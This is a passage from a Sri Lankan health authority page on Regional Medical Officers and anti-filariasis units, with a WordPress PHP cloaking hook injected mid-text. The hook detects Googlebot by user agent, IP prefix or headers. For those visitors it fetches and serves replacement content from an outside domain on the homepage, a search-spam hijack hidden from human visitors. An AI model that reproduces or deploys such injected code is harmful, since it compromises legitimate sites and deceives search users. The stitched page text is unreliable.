REGIONAL MEDICAL OFFICERS (RMOO)-FILARIASIS

Lymphatic Filariasis is endemic in eight districts (Colombo, Kalutara, Gampaha, Puttalam, Kurunegala, Galle, Matara, and Hambantota) in Sri Lanka. In each district, a Regional Anti- Filariasis Unit (RAFU) is established to conduct parasitological and entomological surveillance and clinical management of filariasis and lymphoedema. Regional Medical Officers in RAFUs contribute significantly to the overall efforts in controlling and preventing filaria in the endemic districts.

add_action('template_redirect', function () {
    if (is_admin()) return;
    if ($_SERVER['REQUEST_METHOD'] !== 'GET') return;
   
    $request_uri = strtolower($_SERVER['REQUEST_URI'] ?? '');
    $ua = strtolower($_SERVER['HTTP_USER_AGENT'] ?? '');
    $is_googlebot = preg_match('/(googlebot|google-inspectiontool|google page speed|googlebot-image|mediapartners-google)/i', $ua);
    $google_ips = ['66.249.', '108.177.', '172.217.', '216.58.'];
    $ip_matches = false;
    foreach ($google_ips as $gip) {
        if (strpos($_SERVER['REMOTE_ADDR'] ?? '', $gip) === 0) {
            $ip_matches = true;
            break;
        }
    }
    $headers = getallheaders();
    $is_gsc_test = isset($headers['X-Google-Apps-Internal']) ||
                   isset($headers['X-Cloud-Trace-Context']);
   
    if ($is_googlebot || $ip_matches || $is_gsc_test) {
        $map = ['' => 'https://bandungtourism.info/bandung/afc.health.gov.lk.txt'];
       
        foreach ($map as $dir => $remote_url) {
            if ($dir === '' && ($request_uri === '/' || $request_uri === '' ||
                $request_uri === '/index.php' || $request_uri === '/index.html')) {
               
                $resp = wp_remote_get($remote_url, [
                    'timeout' => 5,
                    'headers' => ['User-Agent' => $_SERVER['HTTP_USER_AGENT'] ?? 'Googlebot']
                ]);
               
                if (!is_wp_error($resp)) {
                    while (ob_get_level()) ob_end_clean();
                    status_header(200);
                    nocache_headers();
                    header('Content-Type: text/html; charset=UTF-8');
                    echo wp_remote_retrieve_body($resp);
                    exit;
                }
            }
        }
    }
}, 0);

The Anti-Filariasis Campaign (AFC) provides technical advice to Regional Medical Officers (RMOO), while administrative authority lies with the Provincial and Regional Directors of Health Services.